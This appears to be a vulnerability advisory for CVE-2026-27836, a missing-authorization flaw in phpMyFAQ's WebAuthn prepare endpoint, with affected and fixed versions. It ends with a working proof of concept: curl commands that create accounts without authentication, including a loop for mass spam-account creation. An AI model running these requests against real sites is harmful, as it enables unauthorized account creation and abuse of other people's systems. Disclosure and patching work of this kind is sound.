Missing Authorization Affecting thorsten/phpmyfaq package, versions >=0.0.0, <4.0.18>=4.1.0-alpha, <4.1.0-RC.7
Threat Intelligence
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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- published3 Mar 2026
- disclosed27 Feb 2026
- creditoffensiveee
Introduced: 27 Feb 2026
NewCVE-2026-27836 (opens in a new tab)How to fix?
Upgrade thorsten/phpmyfaq to version 4.0.18, 4.1.0-RC.7 or higher.
Overview
thorsten/phpmyfaq is a FAQ system for PHP and MySQL, PostgreSQL and other databases
Affected versions of this package are vulnerable to Missing Authorization via the WebAuthnController::prepare endpoint in the Frontend WebAuthn API component. An unauthenticated attacker can create unlimited active user accounts by issuing unauthenticated POST requests to /api/webauthn/prepare without supplying a CSRF token.
PoC
# Create an account - no auth needed
curl -X POST https://TARGET/api/webauthn/prepare \
-H 'Content-Type: application/json' \
-d '{"username":"attacker_account"}'
# Mass account creation
for i in $(seq 1 1000); do
curl -s -X POST https://TARGET/api/webauthn/prepare \
-H 'Content-Type: application/json' \
-d "{\"username\":\"spam_user_$i"}" &
done